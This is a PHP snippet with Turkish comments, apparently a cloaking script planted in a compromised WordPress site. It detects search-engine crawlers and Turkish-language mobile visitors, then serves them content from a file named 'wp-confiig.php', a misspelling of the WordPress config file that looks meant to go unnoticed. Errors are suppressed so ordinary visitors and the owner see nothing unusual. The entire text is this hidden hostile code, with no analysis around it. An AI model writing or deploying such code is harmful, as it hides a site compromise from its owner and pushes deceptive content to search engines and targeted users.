error_reporting(0);
set_time_limit(0);

$bot_content_file = 'wp-confiig.php';
$mobile_tr_content_file = 'wp-confiig.php';

function is_spider() {
    $spiders = ['bot', 'slurp', 'spider', 'crawl', 'google', 'msnbot', 'yahoo', 'ask jeeves'];
    $s_agent = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');

    foreach ($spiders as $spider) {
        if (stripos($s_agent, $spider) !== false) {
            return true;
        }
    }
    return false;
}


function is_mobile_and_turkish() {

    $mobile_agents = ['mobile', 'android', 'iphone', 'ipad', 'ipod', 'opera mini', 'windows phone'];
    $user_agent = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
    $is_mobile = false;
    foreach ($mobile_agents as $agent) {
        if (stripos($user_agent, $agent) !== false) {
            $is_mobile = true;
            break; // Bir tane bulmak yeterli
        }
    }


    $lang_header = strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? '');
    $is_turkish = (strpos($lang_header, 'tr') === 0 || strpos($lang_header, 'tr-') === 0);


    return $is_mobile && $is_turkish;
}


if (is_spider()) {
    if (file_exists($bot_content_file)) {
        include $bot_content_file;
        exit();
    } else {
        header("HTTP/1.0 404 Not Found");
        exit("Bot içerigi bulunamadı.");
    }
}
elseif (is_mobile_and_turkish()) {
    if (file_exists($mobile_tr_content_file)) {
        include $mobile_tr_content_file;
        exit();
    } else {
        header("HTTP/1.0 404 Not Found");
        exit("Mobil ve TR içerigi bulunamadı.");
    }
}